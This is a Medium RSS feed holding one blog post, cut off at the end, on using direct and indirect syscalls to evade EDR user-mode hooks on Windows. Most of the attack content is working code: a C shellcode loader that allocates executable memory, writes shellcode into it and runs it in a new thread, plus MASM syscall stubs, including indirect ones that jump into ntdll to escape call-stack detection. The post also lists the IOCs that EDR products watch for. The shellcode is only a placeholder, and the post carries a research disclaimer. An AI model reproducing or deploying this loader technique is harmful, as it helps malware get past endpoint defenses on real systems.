<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by D4YDR34AM-DEV on Medium]]></title>
        <description><![CDATA[Stories by D4YDR34AM-DEV on Medium]]></description>
        <link>https://medium.com/@nwaozuruchukwuma?source=rss-183c37f955c6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*v_whSheOMImnVLxpUAtsbQ.jpeg</url>
            <title>Stories by D4YDR34AM-DEV on Medium</title>
            <link>https://medium.com/@nwaozuruchukwuma?source=rss-183c37f955c6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 11:22:35 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nwaozuruchukwuma/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Direct vs Indirect Syscalls : A hackers Dilemma…]]></title>
            <link>https://medium.com/@nwaozuruchukwuma/direct-vs-indirect-syscalls-a-hackers-dilemma-f096530a8d24?source=rss-183c37f955c6------2</link>
            <guid isPermaLink="false">https://medium.com/p/f096530a8d24</guid>
            <dc:creator><![CDATA[D4YDR34AM-DEV]]></dc:creator>
            <pubDate>Wed, 14 Aug 2024 17:51:59 GMT</pubDate>
            <atom:updated>2024-08-14T17:51:59.660Z</atom:updated>
            <content:encoded><![CDATA[<h3>Direct vs Indirect Syscalls : A hackers Dilemma…</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*Z-30qnTw42jJDMpCxHfr9g.jpeg" /></figure><h3>Direct Syscalls vs Indirect Syscalls</h3><p>Direct syscalls have been widely used by attackers and red teamers for various activities like executing shellcode or creating memory dumps of lsass.exe. However, as of May 2023, direct syscalls may no longer be sufficient to bypass Endpoint Detection and Response (EDR) systems in certain attack phases. This is because EDR vendors are implementing mechanisms like kernel callbacks to detect abnormal behavior, such as syscall and return statements executed outside the ntdll.dll memory area, which is considered an Indicator of Compromise (IOC) under Windows.</p><p>To eliminate this IOC and avoid EDR detection, direct syscalls can be replaced by indirect syscalls. Indirect syscalls allow critical operations like syscall statements and return statements to be executed within the memory of ntdll.dll, rather than the memory of the executing .exe file. This approach aligns more closely with standard Windows operating behavior and is a more sophisticated technique in terms of system compliance.</p><h3><strong>Indirect Syscall Technique</strong></h3><p>Indirect syscalls solve EDR evasion problems by:</p><p>1. Executing the syscall command within the memory of ntdll.dll, making it legitimate for the EDR.<br>2. Executing the return statement within the memory of ntdll.dll, pointing from ntdll.dll to the indirect syscall assembly memory.</p><p>In an indirect syscall proof of concept (POC), only a part of the native function’s stub is mapped as assembly code. The syscall number is read dynamically and stored in a globally declared variable. The syscall instruction is replaced with an unconditional jump instruction (jmp) that points to the syscall instruction address in ntdll.dll memory.</p><p>Comparing direct and indirect syscall thread call stacks reveals significant differences. Direct syscalls execute the syscall and return within the .exe file memory, resulting in the top frame of the call stack coming from the .exe memory, which is an IOC. In contrast, indirect syscalls execute both the syscall and return within ntdll.dll memory, mimicking a more conventional execution pattern and potentially bypassing EDR systems that examine syscall execution memory areas.</p><p>While direct syscalls can still work, indirect syscalls offer a more legitimate appearance in the context of the thread call stack by executing both the syscall and return within ntdll.dll memory, which is the expected behavior in normal application processes.</p><h4><strong>INTRODUCTION</strong></h4><p>In this article, we will delve into the differences between direct syscalls and indirect syscalls , focusing on their implementation and implications for security. The discussion will cover the following key points:</p><ul><li>User Mode API-Hooking</li><li>Direct Syscalls</li><li>Indirect Syscalls</li></ul><p>The primary aim is to transform a direct syscall dropper into an indirect syscall dropper, analyze both implementations using x64dbg, and comprehensively understand the distinctions between these two syscall techniques. Additionally, we will explore the limitations of indirect syscalls concerning EDR evasion.</p><h4><strong>DISCLAIMER</strong></h4><p>The content and all code examples in this article are for research purposes only and must not be used in an unethical context! The code used is not new and I make no claim to it. The basis for the code comes, as so often, from the ired.team<strong>.</strong></p><h3>User Mode API Hooking and Syscalls</h3><p>User mode API hooking is a technique employed by Endpoint Detection and Response (EDR) systems to dynamically inspect code executed in the context of Windows APIs or Native APIs. This allows EDRs to detect potentially malicious content or behavior. One of the most commonly used hooking variants is inline hooking, which involves replacing a specific mov instruction with a 5-byte jmp instruction.The mov instruction is typically responsible for moving the syscall number or system service number (SSN) to the eax register. By replacing it with an unconditional jump (jmp), the EDR&#39;s hooking DLL is called, enabling it to examine the code executed in the context of the Native API for any malicious content. The execution of the syscall statement, which initiates the transition from Windows user mode to kernel mode, only occurs if the EDR determines that the code executed in the context of the respective Native API is not malicious. Otherwise, the syscall statement and the surrounding code are not executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F8Qx0_owLGH3avBpXB2aHw.png" /></figure><h3>Checking EDR Hooking with WinDbg</h3><p>If you want to investigate your Endpoint Detection and Response (EDR) system to determine which (Native) APIs are redirected to the EDR’s hooking.dll, you can use a debugger like WinDbg . Here’s how to do it:</p><ol><li>Start a Program: Launch a program such as Notepad on the endpoint where the EDR is installed.</li><li>Connect to the Running Process: Use WinDbg to connect to the running Notepad process. Important Note: Avoid the common mistake of loading notepad.exe directly as an image into the debugger. If you do this, you will not find any hooks in the APIs because the EDR has not yet injected its hooking.dll into the address space of Notepad at that point.</li><li>Extracting API Memory Addresses: To check for hooks, you can use the following command in WinDbg to extract the memory address of a specific API. For example, to find the address of the native API NtAllocateVirtualMemory, which resides in ntdll.dll, you would use the appropriate command to query its location.</li></ol><p>By following these steps, you can effectively analyze the hooking behavior of your EDR and identify which Native APIs are being redirected to the EDR’s hooking.dll. This process is crucial for understanding how the EDR interacts with system calls and can help in assessing the security posture of your environment.The following command extracts the memory address of the desired API, in this case the address of the native API NtAllocateVirtualMemory, which is located in ntdll.dll.</p><pre>x ntdll!NtAllocateVirtualMemory</pre><p>The memory address can then be resolved in the next step with the following command and you will get the content of the Native API function NtAllocateVirtualMemory in assembly format.</p><pre>u 00007ffb`858ed850</pre><p>The upper section of the figure illustrates the stub of the native function NtAllocateVirtualMemory on an endpoint with an Endpoint Detection and Response (EDR) system installed, utilizing the user mode API hooking technique. In this modified stub, the instruction mov eax, SSN has been replaced with a 5-byte unconditional jump instruction (jmp). This jump instruction redirects the execution flow of the code within the context of NtAllocateVirtualMemory to the EDR&#39;s hooking.dll.The execution of the syscall and the return to the memory of ntdll.dll will only occur if the EDR determines that the code executed in the context of NtAllocateVirtualMemory is not malicious. If the EDR identifies any harmful behavior, it will abort the syscall, preventing the execution of potentially malicious code.In contrast, the lower pane of the figure displays an unmodified stub of the native NtAllocateVirtualMemory function on an endpoint without an EDR installed. This represents the standard state of a native function within ntdll.dll on Windows systems, where the function operates without any alterations or hooks. The absence of modifications indicates that the syscall can be executed directly without redirection or inspection by an EDR system.This comparison highlights the impact of EDR on syscall execution and the mechanisms employed to monitor and control potentially harmful actions within the Windows operating environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2M68WrIie77jGwXlBwJrOQ.png" /></figure><h3>Direct Syscalls: Evading EDR Hooks</h3><p>Direct syscalls are a technique used to evade user mode API hooks implemented by Endpoint Detection and Response (EDR) systems. The core principle involves directly executing the necessary code for the transition from Windows user mode to kernel mode, without relying on the standard ntdll.dll-based approach. In a direct syscall implementation, the required code (stub) of the native function is directly embedded as assembly instructions within the malicious code or shellcode. This eliminates the need to obtain the necessary content in the context of the Native APIs, which are typically hooked by EDRs.From an attacker’s perspective, this approach prevents the code executed in the context of the hooked native APIs from being redirected to the EDR’s hooking.dll and subsequently analyzed by the EDR. By directly executing the syscall stub, the code bypasses the EDR’s inspection mechanisms, potentially evading detection.</p><p>The simplified diagram illustrates the concept of direct syscalls. Instead of relying on the standard ntdll.dll-based syscall mechanism, the direct syscall implementation embeds the necessary assembly instructions within the malicious code itself. This allows the syscall to be executed without passing through the hooked native APIs and the EDR’s hooking.dll, effectively circumventing the EDR’s monitoring and analysis capabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gICUzUtWsDagHcc_SXxRWA.png" /></figure><p>It’s important to note that while direct syscalls can help evade user mode API hooks, they may still be detectable by other EDR mechanisms that monitor for abnormal syscall execution patterns or unusual behavior in the call stack. Nonetheless, direct syscalls represent a significant advancement in the ongoing arms race between attackers and EDR solutions.</p><p>There are several tools and POCs available to implement and execute direct syscalls, such as <a href="https://github.com/jthuraisamy/SysWhispers2">Syswhispers2</a>, <a href="https://github.com/klezVirus/SysWhispers3">Syswhispers3</a>, <a href="https://github.com/am0nsec/HellsGate">Hells Gate</a> or <a href="https://blog.sektor7.net/#!res/2021/halosgate.md">Halo’s Gate</a>. In our case, we do not use any of these POCs, try to keep the code as simple as possible and use the following C code for our <strong>direct syscall POC</strong> for the practical part, which will be rewritten to an indirect syscall POC later in the indirect syscalls chapter. The code can also be downloaded as a <a href="https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls"><strong>Github</strong></a> repository in the form of a Visual Studio project.</p><pre>#include &lt;windows.h&gt;  <br>#include &lt;stdio.h&gt;    <br>#include &quot;syscalls.h&quot; <br><br>// Declare global variables to hold syscall numbers<br>DWORD wNtAllocateVirtualMemory;<br>DWORD wNtWriteVirtualMemory;<br>DWORD wNtCreateThreadEx;<br>DWORD wNtWaitForSingleObject;<br><br>int main() {<br>    PVOID allocBuffer = NULL;  // Declare a pointer to the buffer to be allocated<br>    SIZE_T buffSize = 0x1000;  // Declare the size of the buffer (4096 bytes)<br><br>    // Get a handle to the ntdll.dll library<br>    HANDLE hNtdll = GetModuleHandleA(&quot;ntdll.dll&quot;);<br><br>    // Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module<br>    UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, &quot;NtAllocateVirtualMemory&quot;);<br>    // Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll<br>    // This is typically located at the 4th byte of the function<br>    wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];<br><br>    UINT_PTR pNtWriteVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, &quot;NtWriteVirtualMemory&quot;);<br>    wNtWriteVirtualMemory = ((unsigned char*)(pNtWriteVirtualMemory + 4))[0];<br><br>    UINT_PTR pNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, &quot;NtCreateThreadEx&quot;);<br>    wNtCreateThreadEx = ((unsigned char*)(pNtCreateThreadEx + 4))[0];<br><br>    UINT_PTR pNtWaitForSingleObject = (UINT_PTR)GetProcAddress(hNtdll, &quot;NtWaitForSingleObject&quot;);<br>    wNtWaitForSingleObject = ((unsigned char*)(pNtWaitForSingleObject + 4))[0];<br><br><br>    // Replace this with your actual shellcode<br>    unsigned char shellcode[] = &quot;\xfc\x48\x83...&quot;;<br><br><br>    // Use the NtAllocateVirtualMemory function to allocate memory for the shellcode<br>    NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&amp;allocBuffer, (ULONG_PTR)0, &amp;buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);<br>    <br>    ULONG bytesWritten;<br>    // Use the NtWriteVirtualMemory function to write the shellcode into the allocated memory<br>    NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &amp;bytesWritten);<br><br>    HANDLE hThread;<br>    // Use the NtCreateThreadEx function to create a new thread that starts executing the shellcode<br>    NtCreateThreadEx(&amp;hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);<br><br>    // Use the NtWaitForSingleObject function to wait for the new thread to finish executing<br>    NtWaitForSingleObject(hThread, FALSE, NULL);<br>}</pre><pre>// Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module    <br>UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, &quot;NtAllocateVirtualMemory&quot;);<br>    // Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll<br>    // This is typically located at the 5th byte of the function<br>    wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];</pre><p>To avoid hardcoding syscall numbers or system service numbers (SSNs) in C code, it is essential to read them dynamically from the already loaded ntdll.dll in the process’s address space using the handle hNtdll. This approach is necessary because syscall numbers can vary between different Windows versions, making hardcoded values unreliable.</p><p>When accessing the native function NtAllocateVirtualMemory, an offset of 4 bytes is added to the base address of the function. This offset is crucial as it points to the specific location where the mov eax, SSN instruction resides. This instruction is responsible for loading the SSN into the eax register for the syscall. By dynamically reading this instruction, the SSN can be extracted and stored in the variable wNtAllocateVirtualMemory.</p><p>The same methodology applies to retrieving the SSNs for other native APIs, such as NtWriteVirtualMemory, NtCreateThreadEx, and NtWaitForSingleObject. By using this dynamic retrieval technique, the code remains adaptable to different Windows environments, ensuring that the correct syscall numbers are utilized without the risk of obsolescence due to version changes. This technique enhances the stealth and effectiveness of syscall implementations in security-sensitive applications.</p><pre>// Use the NtAllocateVirtualMemory function to allocate memory for the shellcode<br>    NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&amp;allocBuffer, (ULONG_PTR)0, &amp;buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);<br>    <br>    ULONG bytesWritten;<br>    // Use the NtWriteVirtualMemory function to write the shellcode into the allocated memory<br>    NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &amp;bytesWritten);<br><br>    HANDLE hThread;<br>    // Use the NtCreateThreadEx function to create a new thread that starts executing the shellcode<br>    NtCreateThreadEx(&amp;hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);<br><br>    // Use the NtWaitForSingleObject function to wait for the new thread to finish executing<br>    NtWaitForSingleObject(hThread, FALSE, NULL);</pre><p>As always, I’m a fan of understanding simple code and then modifying it step by step. As in my other posts, we use the Native API NtAllocateVirtualMemoryto reserve memory, write the shellcode NtWriteVirtualMemoryto the reserved memory with , execute the shellcode NtCreateThreadExin a new thread with , and wait with NtWaitForSingleObjectto make sure the main thread waits until the current thread executing the shellcode is finished. As mentioned at the beginning, when using direct syscalls, the ntdll.dllcode (stub) of the respective native function that would otherwise be obtained via the is implemented directly in the assembly via an .asm file.</p><p>The MASM assembly code in Intel syntax looks like this.</p><pre>EXTERN wNtAllocateVirtualMemory:DWORD               ; Extern keyword indicates that the symbol is defined in another module. Here it&#39;s the syscall number for NtAllocateVirtualMemory.<br>EXTERN wNtWriteVirtualMemory:DWORD                  ; Syscall number for NtWriteVirtualMemory.<br>EXTERN wNtCreateThreadEx:DWORD                      ; Syscall number for NtCreateThreadEx.<br>EXTERN wNtWaitForSingleObject:DWORD                 ; Syscall number for NtWaitForSingleObject.<br><br><br>.CODE  ; Start the code section<br><br>; Procedure for the NtAllocateVirtualMemory syscall<br>NtAllocateVirtualMemory PROC<br>    mov r10, rcx                                    ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.<br>    mov eax, wNtAllocateVirtualMemory               ; Move the syscall number into the eax register.<br>    syscall                                         ; Execute syscall.<br>    ret                                             ; Return from the procedure.<br>NtAllocateVirtualMemory ENDP                        ; End of the procedure.<br><br>; Similar procedures for NtWriteVirtualMemory syscalls<br>NtWriteVirtualMemory PROC<br>    mov r10, rcx<br>    mov eax, wNtWriteVirtualMemory<br>    syscall<br>    ret<br>NtWriteVirtualMemory ENDP<br><br>; Similar procedures for NtCreateThreadEx syscalls<br>NtCreateThreadEx PROC<br>    mov r10, rcx<br>    mov eax, wNtCreateThreadEx<br>    syscall<br>    ret<br>NtCreateThreadEx ENDP<br><br>; Similar procedures for NtWaitForSingleObject syscalls<br>NtWaitForSingleObject PROC<br>    mov r10, rcx<br>    mov eax, wNtWaitForSingleObject<br>    syscall<br>    ret<br>NtWaitForSingleObject ENDP<br><br>END  ; End of the module</pre><pre>EXTERN wNtAllocateVirtualMemory:DWORD               ; Extern keyword indicates that the symbol is defined in another module. Here it&#39;s the syscall number for NtAllocateVirtualMemory.<br>EXTERN wNtWriteVirtualMemory:DWORD                  ; Syscall number for NtWriteVirtualMemory.<br>EXTERN wNtCreateThreadEx:DWORD                      ; Syscall number for NtCreateThreadEx.<br>EXTERN wNtWaitForSingleObject:DWORD                 ; Syscall number for NtWaitForSingleObject.</pre><p><strong>The EXTERN</strong> keyword can be used to access variables etc. that were previously declared as global in the C code wNtWriteVirtualMemoryand that contain the respective SSN. This avoids having to hard-code the respective SSN in the assembly code.</p><pre>; Procedure for the NtAllocateVirtualMemory syscall<br>NtAllocateVirtualMemory PROC<br>    mov r10, rcx                                    ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.<br>    mov eax, wNtAllocateVirtualMemory               ; Move the syscall number into the eax register.<br>    syscall                                         ; Execute syscall.<br>    ret                                             ; Return from the procedure.<br>NtAllocateVirtualMemory ENDP                        ; End of the procedure.</pre><p>As already mentioned, in the context of the four native APIs used, we avoid accessing the ntdll.dlland implement the necessary code (stub) of the respective native function as assembly code in the .asm file. The assembly code performs the following tasks. First, the current contents of the register rcx are written to the register r10 using &quot; <strong>mov r10 rcx</strong>mov eax wNtAllocateVirtualMemory &quot;. Then the current contents of the variable are moved wNtAllocateVirtualMemoryto the register eaxusing . As a reminder: At this point, the globally declared variable contains wNtAllocateVirtualMemorythe SSN of the syscall to the native API NtAllocateVirtualMemory. The syscall is then executed using the syscall statement syscalland finally the return statement is executed using ret. The same procedure is used for the other native APIs ( NtWriteVirtualMemory, NtCreateThreadEx, NtWaitForSingleObject).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ss7YNPLV3fcXv2_GtlTxjw.png" /></figure><h3>Analyzing Direct Syscall IOCs in x64dbg</h3><p>The compiled Direct Syscall Proof of Concept (POC) is loaded into x64dbg for a detailed analysis. While direct syscalls can effectively bypass user mode hooks implemented by Endpoint Detection and Response (EDR) systems, they still present several Indicators of Compromise (IOCs) that may lead to detection, depending on the specific EDR in use.</p><h3>Key IOCs Associated with Direct Syscalls</h3><ol><li>Execution Outside ntdll.dll Memory:</li></ol><ul><li>The syscall command is executed directly within the memory area of the Direct Syscall Assembly, rather than within the memory space of ntdll.dll. This behavior is a significant IOC, as syscall instructions are typically expected to execute within the confines of ntdll.dll. The execution of syscalls outside this memory area is considered abnormal and can trigger detection mechanisms.</li></ul><p>2. Return Statement Behavior:</p><ul><li>The return statement in the Direct Syscall Assembly is executed within its own memory space, creating an unusual reference pattern. Specifically, the return instruction points from the memory area of the Direct Syscall Assembly back to itself. This type of execution flow is not typical in standard Windows operations and is flagged as illegitimate behavior.</li></ul><p>Both of these behaviors are clear IOCs that can be leveraged by EDRs to detect malicious activities. EDR systems may utilize kernel callbacks to monitor for such anomalies, thereby enhancing their ability to identify and respond to potential threats. For this reason, the indirect syscall technique is covered in the next chapter.</p><h3>Indirect Syscalls: Evading EDR Detection</h3><p>Indirect syscalls represent an evolution of direct syscalls, offering enhanced evasion capabilities against Endpoint Detection and Response (EDR) systems. Compared to direct syscalls, indirect syscalls address several key issues related to EDR evasion:</p><h3>Legitimate Syscall Execution</h3><p>With indirect syscalls, the execution of the syscall instruction occurs within the memory space of ntdll.dll, making it appear legitimate to the EDR. By executing the syscall within the expected module, indirect syscalls avoid raising suspicions or triggering detection mechanisms that monitor for abnormal syscall locations.</p><h3>Controlled Return Execution</h3><p>The return statement in indirect syscalls is also executed within the memory of ntdll.dll. Importantly, the return points from the ntdll.dll memory to the memory of the Indirect Syscall Assembly. This controlled flow of execution, where both the syscall and return reside within ntdll.dll, aligns with standard Windows behavior and is less likely to be flagged as malicious by EDR systems.</p><h3>Partial Assembly Implementation</h3><p>In contrast to direct syscall proof-of-concepts (POCs), indirect syscall implementations only require a portion of the syscall stub to be directly executed within the assembly code itself. The syscall statement and the return are handled by ntdll.dll, reducing the amount of malicious code executed outside of the expected modules.The simplified diagram illustrates the concept of indirect syscalls, emphasizing the key differences from direct syscalls. By executing the syscall and return within ntdll.dll memory, indirect syscalls present a more legitimate execution pattern that is less likely to trigger EDR detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eOP0xHexontLyWR6AkyvXA.png" /></figure><p>As a basis for the Indirect Syscall POC we use the code of the Direct Syscall POC and will see that the changes are very limited</p><pre>#include &lt;windows.h&gt;  <br>#include &lt;stdio.h&gt;    <br>#include &quot;syscalls.h&quot;<br><br>// Declare global variables to hold syscall numbers and syscall instruction addresses<br>DWORD wNtAllocateVirtualMemory;<br>UINT_PTR sysAddrNtAllocateVirtualMemory;<br>DWORD wNtWriteVirtualMemory;<br>UINT_PTR sysAddrNtWriteVirtualMemory;<br>DWORD wNtCreateThreadEx;<br>UINT_PTR sysAddrNtCreateThreadEx;<br>DWORD wNtWaitForSingleObject;<br>UINT_PTR sysAddrNtWaitForSingleObject;<br><br><br>int main() {<br>    PVOID allocBuffer = NULL;  // Declare a pointer to the buffer to be allocated<br>    SIZE_T buffSize = 0x1000;  // Declare the size of the buffer (4096 bytes)<br><br>    // Get a handle to the ntdll.dll library<br>    HANDLE hNtdll = GetModuleHandleA(&quot;ntdll.dll&quot;);<br><br>    // Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module<br>    UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, &quot;NtAllocateVirtualMemory&quot;);<br>    // Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll<br>    // This is typically located at the 4th byte of the function<br>    wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];<br><br>    // The syscall stub (actual system call instruction) is some bytes further into the function. <br>    // In this case, it&#39;s assumed to be 0x12 (18 in decimal) bytes from the start of the function.<br>    // So we add 0x12 to the function&#39;s address to get the address of the system call instruction.<br>    sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;<br><br>    UINT_PTR pNtWriteVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, &quot;NtWriteVirtualMemory&quot;);<br>    wNtWriteVirtualMemory = ((unsigned char*)(pNtWriteVirtualMemory + 4))[0];<br>    sysAddrNtWriteVirtualMemory = pNtWriteVirtualMemory + 0x12;<br><br>    UINT_PTR pNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, &quot;NtCreateThreadEx&quot;);<br>    wNtCreateThreadEx = ((unsigned char*)(pNtCreateThreadEx + 4))[0];<br>    sysAddrNtCreateThreadEx = pNtCreateThreadEx + 0x12;<br><br>    UINT_PTR pNtWaitForSingleObject = (UINT_PTR)GetProcAddress(hNtdll, &quot;NtWaitForSingleObject&quot;);<br>    wNtWaitForSingleObject = ((unsigned char*)(pNtWaitForSingleObject + 4))[0];<br>    sysAddrNtWaitForSingleObject = pNtWaitForSingleObject + 0x12;<br><br>    // Use the NtAllocateVirtualMemory function to allocate memory for the shellcode<br>    NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&amp;allocBuffer, (ULONG_PTR)0, &amp;buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);<br><br>    // Define the shellcode to be injected<br>    unsigned char shellcode[] = &quot;\xfc\x48\x83&quot;;<br><br>    ULONG bytesWritten;<br>    // Use the NtWriteVirtualMemory function to write the shellcode into the allocated memory<br>    NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &amp;bytesWritten);<br><br>    HANDLE hThread;<br>    // Use the NtCreateThreadEx function to create a new thread that starts executing the shellcode<br>    NtCreateThreadEx(&amp;hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);<br><br>    // Use the NtWaitForSingleObject function to wait for the new thread to finish executing<br>    NtWaitForSingleObject(hThread, FALSE, NULL);<br>}</pre><pre>UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, &quot;NtAllocateVirtualMemory&quot;);<br>wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];<br>sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;</pre><p>In comparison to the Direct Syscall POC, in the Indirect Syscall POC we want to not only dynamically extract the SSN, but also the memory address of the Syscall instruction. The latter is sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12implemented with the code line &quot; &quot;. This is necessary so that later in the associated assembly code the Syscall instruction can be replaced by an unconditioned jump instruction (jmp) that uses a pointer to point to the memory address of the Syscall instruction within the ntdll.dll.</p><pre>EXTERN wNtAllocateVirtualMemory:DWORD               ; Extern keyword indicates that the symbol is defined in another module. Here it&#39;s the syscall number for NtAllocateVirtualMemory.<br>EXTERN sysAddrNtAllocateVirtualMemory:QWORD         ; The actual address of the NtAllocateVirtualMemory syscall instruction in ntdll.dll.<br><br>EXTERN wNtWriteVirtualMemory:DWORD                  ; Syscall number for NtWriteVirtualMemory.<br>EXTERN sysAddrNtWriteVirtualMemory:QWORD            ; The actual address of the NtWriteVirtualMemory syscall instruction in ntdll.dll.<br><br>EXTERN wNtCreateThreadEx:DWORD                      ; Syscall number for NtCreateThreadEx.<br>EXTERN sysAddrNtCreateThreadEx:QWORD                ; The actual address of the NtCreateThreadEx syscall instruction in ntdll.dll.<br><br>EXTERN wNtWaitForSingleObject:DWORD                 ; Syscall number for NtWaitForSingleObject.<br>EXTERN sysAddrNtWaitForSingleObject:QWORD           ; The actual address of the NtWaitForSingleObject syscall instruction in ntdll.dll.<br><br>.CODE  ; Start the code section<br><br>; Procedure for the NtAllocateVirtualMemory syscall<br>NtAllocateVirtualMemory PROC<br>    mov r10, rcx                                    ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.<br>    mov eax, wNtAllocateVirtualMemory               ; Move the syscall number into the eax register.<br>    jmp QWORD PTR [sysAddrNtAllocateVirtualMemory]  ; Jump to the actual syscall.<br>NtAllocateVirtualMemory ENDP                        ; End of the procedure.<br><br><br>; Similar procedures for NtWriteVirtualMemory syscalls<br>NtWriteVirtualMemory PROC<br>    mov r10, rcx<br>    mov eax, wNtWriteVirtualMemory<br>    jmp QWORD PTR [sysAddrNtWriteVirtualMemory]<br>NtWriteVirtualMemory ENDP<br><br><br>; Similar procedures for NtCreateThreadEx syscalls<br>NtCreateThreadEx PROC<br>    mov r10, rcx<br>    mov eax, wNtCreateThreadEx<br>    jmp QWORD PTR [sysAddrNtCreateThreadEx]<br>NtCreateThreadEx ENDP<br><br><br>; Similar procedures for NtWaitForSingleObject syscalls<br>NtWaitForSingleObject PROC<br>    mov r10, rcx<br>    mov eax, wNtWaitForSingleObject<br>    jmp QWORD PTR [sysAddrNtWaitForSingleObject]<br>NtWaitForSingleObject ENDP<br><br>END</pre><pre>;Indirect Syscalls<br>; Procedure for the NtAllocateVirtualMemory syscall<br>NtAllocateVirtualMemory PROC<br>    mov r10, rcx                                    ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.<br>    mov eax, wNtAllocateVirtualMemory               ; Move the syscall number into the eax register.<br>    jmp QWORD PTR [sysAddrNtAllocateVirtualMemory]  ; Jump to the actual syscall.<br>NtAllocateVirtualMemory ENDP                        ; End of the procedure.</pre><pre>;Direct Syscalls<br>; Procedure for the NtAllocateVirtualMemory syscall<br>NtAllocateVirtualMemory PROC<br>    mov r10, rcx                                    ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.<br>    mov eax, wNtAllocateVirtualMemory               ; Move the syscall number into the eax register.<br>    syscall                                         ; Execute syscall.<br>    ret                                             ; Return from the procedure.<br>NtAllocateVirtualMemory ENDP                        ; End of the procedure.</pre><p>If you compare the assembly code of the Direct Syscall POC and the Indirect Syscall POC, you can see that in the Indirect Syscall POC <strong>only a part</strong> of the stub of the native function is mapped in the form of assembly code. In the Indirect Syscall POC, the SSN is also read dynamically and stored in a globally declared variable. In comparison to the Direct Syscall POC, however, in the Indirect Syscall POC the Syscall instruction is replaced by an unconditioned jump instruction (jmp), which uses a pointer to refer to the address of the Syscall instruction in the memory area of ​​the ntdll.dll.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DqLsveVzPIy-HdquATAuQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qbk0uuEE2fb3pTFCi3W1Jg.png" /></figure><p>We compile the Indirect Syscall POC again and open the POC in x64dbg. Compared to the Direct Syscall POC before, it is clear that the execution of the Syscall instruction does not take place in the memory area of ​​the Indirect Syscall assembly. Instead, the Syscall instruction has been replaced by a Jump instruction that points to the memory address of the Syscall instruction in the ntdll.dll. This ensures that the Syscall instruction and the subsequent return are executed from the memory area of ​​the ntdll.dll.</p><figure><img alt="" 